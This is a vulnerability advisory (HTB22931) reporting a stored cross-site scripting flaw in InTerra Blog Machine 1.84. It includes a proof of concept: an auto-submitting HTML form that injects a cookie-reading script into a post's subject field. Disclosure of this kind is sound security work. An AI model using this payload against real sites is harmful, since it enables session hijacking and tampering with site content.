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39 lines
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2 KiB
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Vulnerability ID: HTB22931
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Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_interra_blog_machin
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e.html
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Product: InTerra Blog Machine
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Vendor: InTerra Blog Machine Team ( http://code.google.com/p/interra/ )
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Vulnerable Version: 1.84 and probably prior versions
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Vendor Notification: 31 March 2011
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Vulnerability Type: Stored XSS (Cross Site Scripting)
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Risk level: Medium
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Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
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Vulnerability Details:
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User can execute arbitrary JavaScript code within the vulnerable application.
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The vulnerability exists due to failure in the "actions/add.php" script to properly sanitize user-supplied input in "subject" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
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An attacker can use browser to exploit this vulnerability. The following PoC is available:
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<form action="http://host/POST_URL/edit/" method="post" name="main" enctype="multipart/form-data">
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<!-- POST_URL like "2011/03/31/post_url" -->
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<input type="hidden" name="subject" value='post title"><script>alert(document.cookie)</script>'>
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<input type="hidden" name="content" value='content'>
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<input type="hidden" name="date[Date_Day]" value="31">
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<input type="hidden" name="date[Date_Month]" value="03">
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<input type="hidden" name="date[Date_Year]" value="2011">
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<input type="hidden" name="time[Time_Hour]" value="13">
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<input type="hidden" name="time[Time_Minute]" value="59">
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<input type="hidden" name="comments" value="1">
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<input type="hidden" name="section" value="0">
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<input type="hidden" name="sectionNewName" value="">
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<input type="hidden" name="sectionNewUnix" value="">
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<input type="hidden" name="sectionNewHidden" value="0">
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<input type="hidden" name="replicate" value="1">
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<input type="hidden" name="keywords" value="">
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<input type="hidden" name="edit" value="POST_ID">
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</form>
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<script>
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document.main.submit();
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</script> |